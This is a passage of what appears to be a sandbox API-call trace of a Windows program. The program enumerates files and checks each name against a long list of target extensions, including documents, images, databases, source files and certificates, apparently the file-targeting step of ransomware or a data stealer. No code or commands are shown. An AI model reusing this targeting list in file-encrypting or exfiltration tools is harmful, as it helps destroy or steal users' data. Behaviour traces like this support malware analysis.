FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.890] lstrlenW (lpString="eula.rtf") returned 8 [0099.890] lstrlenW (lpString=".1cd") returned 4 [0099.890] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.890] lstrlenW (lpString=".3ds") returned 4 [0099.890] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.890] lstrlenW (lpString=".3fr") returned 4 [0099.890] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.890] lstrlenW (lpString=".3g2") returned 4 [0099.890] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.890] lstrlenW (lpString=".3gp") returned 4 [0099.890] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.890] lstrlenW (lpString=".7z") returned 3 [0099.890] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.890] lstrlenW (lpString=".accda") returned 6 [0099.891] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.891] lstrlenW (lpString=".accdb") returned 6 [0099.891] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.891] lstrlenW (lpString=".accdc") returned 6 [0099.891] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.891] lstrlenW (lpString=".accde") returned 6 [0099.891] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.891] lstrlenW (lpString=".accdt") returned 6 [0099.891] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.891] lstrlenW (lpString=".accdw") returned 6 [0099.891] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.891] lstrlenW (lpString=".adb") returned 4 [0099.891] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".adp") returned 4 [0099.891] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".ai") returned 3 [0099.891] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.891] lstrlenW (lpString=".ai3") returned 4 [0099.891] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".ai4") returned 4 [0099.891] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".ai5") returned 4 [0099.891] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".ai6") returned 4 [0099.891] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".ai7") returned 4 [0099.891] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.891] lstrlenW (lpString=".ai8") returned 4 [0099.892] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".anim") returned 5 [0099.892] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.892] lstrlenW (lpString=".arw") returned 4 [0099.892] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".as") returned 3 [0099.892] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.892] lstrlenW (lpString=".asa") returned 4 [0099.892] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".asc") returned 4 [0099.892] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".ascx") returned 5 [0099.892] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.892] lstrlenW (lpString=".asm") returned 4 [0099.892] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".asmx") returned 5 [0099.892] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.892] lstrlenW (lpString=".asp") returned 4 [0099.892] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".aspx") returned 5 [0099.892] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.892] lstrlenW (lpString=".asr") returned 4 [0099.892] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".asx") returned 4 [0099.892] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".avi") returned 4 [0099.892] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".avs") returned 4 [0099.892] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.892] lstrlenW (lpString=".backup") returned 7 [0099.893] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.893] lstrlenW (lpString=".bak") returned 4 [0099.893] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".bay") returned 4 [0099.893] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".bd") returned 3 [0099.893] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.893] lstrlenW (lpString=".bin") returned 4 [0099.893] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".bmp") returned 4 [0099.893] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".bz2") returned 4 [0099.893] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".c") returned 2 [0099.893] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.893] lstrlenW (lpString=".cdr") returned 4 [0099.893] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".cer") returned 4 [0099.893] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".cf") returned 3 [0099.893] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.893] lstrlenW (lpString=".cfc") returned 4 [0099.893] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".cfm") returned 4 [0099.893] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.893] lstrlenW (lpString=".cfml") returned 5 [0099.893] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.893] lstrlenW (lpString=".cfu") returned 4 [0099.893] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".chm") returned 4 [0099.894] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".cin") returned 4 [0099.894] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".class") returned 6 [0099.894] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0099.894] lstrlenW (lpString=".clx") returned 4 [0099.894] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".config") returned 7 [0099.894] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.894] lstrlenW (lpString=".cpp") returned 4 [0099.894] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".cr2") returned 4 [0099.894] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".crt") returned 4 [0099.894] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".crw") returned 4 [0099.894] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".cs") returned 3 [0099.894] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.894] lstrlenW (lpString=".css") returned 4 [0099.894] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".csv") returned 4 [0099.894] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".cub") returned 4 [0099.894] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".dae") returned 4 [0099.894] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.894] lstrlenW (lpString=".dat") returned 4 [0099.894] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".db") returned 3 [0099.895] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.895] lstrlenW (lpString=".dbf") returned 4 [0099.895] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dbx") returned 4 [0099.895] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dc3") returned 4 [0099.895] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dcm") returned 4 [0099.895] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dcr") returned 4 [0099.895] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".der") returned 4 [0099.895] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dib") returned 4 [0099.895] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dic") returned 4 [0099.895] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".dif") returned 4 [0099.895] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".divx") returned 5 [0099.895] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0099.895] lstrlenW (lpString=".djvu") returned 5 [0099.895] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.895] lstrlenW (lpString=".dng") returned 4 [0099.895] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".doc") returned 4 [0099.895] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.895] lstrlenW (lpString=".docm") returned 5 [0099.896] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0099.896] lstrlenW (lpString=".docx") returned 5 [0099.896] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.896] lstrlenW (lpString=".dot") returned 4 [0099.896] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dotm") returned 5 [0099.896] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0099.896] lstrlenW (lpString=".dotx") returned 5 [0099.896] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0099.896] lstrlenW (lpString=".dpx") returned 4 [0099.896] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dqy") returned 4 [0099.896] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dsn") returned 4 [0099.896] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dt") returned 3 [0099.896] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0099.896] lstrlenW (lpString=".dtd") returned 4 [0099.896] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dwg") returned 4 [0099.896] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dwt") returned 4 [0099.896] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".dx") returned 3 [0099.896] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0099.896] lstrlenW (lpString=".dxf") returned 4 [0099.896] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0099.896] lstrlenW (lpString=".edml") returned 5 [0099.896] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0099.897] lstrlenW (lpString=".efd") returned 4 [0099.897] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".elf") returned 4 [0099.897] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".emf") returned 4 [0099.897] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".emz") returned 4 [0099.897] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".epf") returned 4 [0099.897] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".eps") returned 4 [0099.897] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".epsf") returned 5 [0099.897] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0099.897] lstrlenW (lpString=".epsp") returned 5 [0099.897] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0099.897] lstrlenW (lpString=".erf") returned 4 [0099.897] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".exr") returned 4 [0099.897] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".f4v") returned 4 [0099.897] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".fido") returned 5 [0099.897] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0099.897] lstrlenW (lpString=".flm") returned 4 [0099.897] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".flv") returned 4 [0099.897] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0099.897] lstrlenW (lpString=".frm") returned 4 [0099.897] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".fxg") returned 4 [0099.898] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".geo") returned 4 [0099.898] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".gif") returned 4 [0099.898] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".grs") returned 4 [0099.898] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".gz") returned 3 [0099.898] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0099.898] lstrlenW (lpString=".h") returned 2 [0099.898] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0099.898] lstrlenW (lpString=".hdr") returned 4 [0099.898] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".hpp") returned 4 [0099.898] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".hta") returned 4 [0099.898] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".htc") returned 4 [0099.898] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".htm") returned 4 [0099.898] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".html") returned 5 [0099.898] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0099.898] lstrlenW (lpString=".icb") returned 4 [0099.898] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".ics") returned 4 [0099.898] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0099.898] lstrlenW (lpString=".iff") returned 4 [0099.899] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".inc") returned 4 [0099.899] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".indd") returned 5 [0099.899] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0099.899] lstrlenW (lpString=".ini") returned 4 [0099.899] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".iqy") returned 4 [0099.899] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".j2c") returned 4 [0099.899] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".j2k") returned 4 [0099.899] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".java") returned 5 [0099.899] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0099.899] lstrlenW (lpString=".jp2") returned 4 [0099.899] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".jpc") returned 4 [0099.899] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".jpe") returned 4 [0099.899] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".jpeg") returned 5 [0099.899] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0099.899] lstrlenW (lpString=".jpf") returned 4 [0099.899] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".jpg") returned 4 [0099.899] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.899] lstrlenW (lpString=".jpx") returned 4 [0099.900] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0099.900] lstrlenW (lpString=".js") returned 3 [0099.900] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0099.900] lstrlenW (lpString=".jsf") returned 4 [0099.900] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0099.900] lstrlenW (lpString=".json") returned 5 [0099.900] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0099.900] lstrlenW (lpString=".jsp") returned 4 [0099.900] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0099.900] lstrlenW (lpString=".kdc") returned 4 [0099.900] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0099.900] lstrlenW (lpString=".kmz") returned 4 [0099.900] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0099.900] lstrlenW (lpString=".kwm") returned 4 [0099.900] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".lasso") returned 6 [0099.901] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0099.901] lstrlenW (lpString=".lbi") returned 4 [0099.901] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".lgf") returned 4 [0099.901] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".lgp") returned 4 [0099.901] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".log") returned 4 [0099.901] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".m1v") returned 4 [0099.901] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".m4a") returned 4 [0099.901] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".m4v") returned 4 [0099.901] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".max") returned 4 [0099.901] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0099.901] lstrlenW (lpString=".md") returned 3 [0099.901] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0099.901] lstrlenW (lpString=".mda") returned 4 [0099.902] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mdb") returned 4 [0099.902] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mde") returned 4 [0099.902] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mdf") returned 4 [0099.902] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mdw") returned 4 [0099.902] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mef") returned 4 [0099.902] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mft") returned 4 [0099.902] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mfw") returned 4 [0099.902] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mht") returned 4 [0099.902] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mhtml") returned 6 [0099.902] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0099.902] lstrlenW (lpString=".mka") returned 4 [0099.902] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mkidx") returned 6 [0099.902] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0099.902] lstrlenW (lpString=".mkv") returned 4 [0099.902] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mos") returned 4 [0099.902] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0099.902] lstrlenW (lpString=".mov") returned 4 [0099.902] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".mp3") returned 4 [0099.903] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".mp4") returned 4 [0099.903] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".mpeg") returned 5 [0099.903] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0099.903] lstrlenW (lpString=".mpg") returned 4 [0099.903] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".mpv") returned 4 [0099.903] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".mrw") returned 4 [0099.903] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".msg") returned 4 [0099.903] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".mxl") returned 4 [0099.903] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".myd") returned 4 [0099.903] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".myi") returned 4 [0099.903] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".nef") returned 4 [0099.903] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".nrw") returned 4 [0099.903] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".obj") returned 4 [0099.903] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".odb") returned 4 [0099.903] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0099.903] lstrlenW (lpString=".odc") returned 4 [0099.904] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".odm") returned 4 [0099.904] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".odp") returned 4 [0099.904] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".ods") returned 4 [0099.904] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".oft") returned 4 [0099.904] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".one") returned 4 [0099.904] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".onepkg") returned 7 [0099.904] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0099.904] lstrlenW (lpString=".onetoc2") returned 8 [0099.904] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0099.904] lstrlenW (lpString=".opt") returned 4 [0099.904] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".oqy") returned 4 [0099.904] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".orf") returned 4 [0099.904] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".p12") returned 4 [0099.904] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".p7b") returned 4 [0099.904] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".p7c") returned 4 [0099.904] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0099.904] lstrlenW (lpString=".pam") returned 4 [0099.904] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pbm") returned 4 [0099.905] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pct") returned 4 [0099.905] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pcx") returned 4 [0099.905] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pdd") returned 4 [0099.905] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pdf") returned 4 [0099.905] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pdp") returned 4 [0099.905] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pef") returned 4 [0099.905] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pem") returned 4 [0099.905] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pff") returned 4 [0099.905] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pfm") returned 4 [0099.905] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pfx") returned 4 [0099.905] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".pgm") returned 4 [0099.905] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".php") returned 4 [0099.905] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0099.905] lstrlenW (lpString=".php3") returned 5 [0099.905] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0099.905] lstrlenW (lpString=".php4") returned 5 [0099.906] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0099.906] lstrlenW (lpString=".php5") returned 5 [0099.906] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0099.906] lstrlenW (lpString=".phtml") returned 6 [0099.906] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0099.906] lstrlenW (lpString=".pict") returned 5 [0099.906] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0099.906] lstrlenW (lpString=".pl") returned 3 [0099.906] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0099.906] lstrlenW (lpString=".pls") returned 4 [0099.906] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0099.906] lstrlenW (lpString=".pm") returned 3 [0099.906] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0099.906] lstrlenW (lpString=".png") returned 4 [0099.906] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0099.906] lstrlenW (lpString=".pnm") returned 4 [0099.906] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0099.906] lstrlenW (lpString=".pot") returned 4 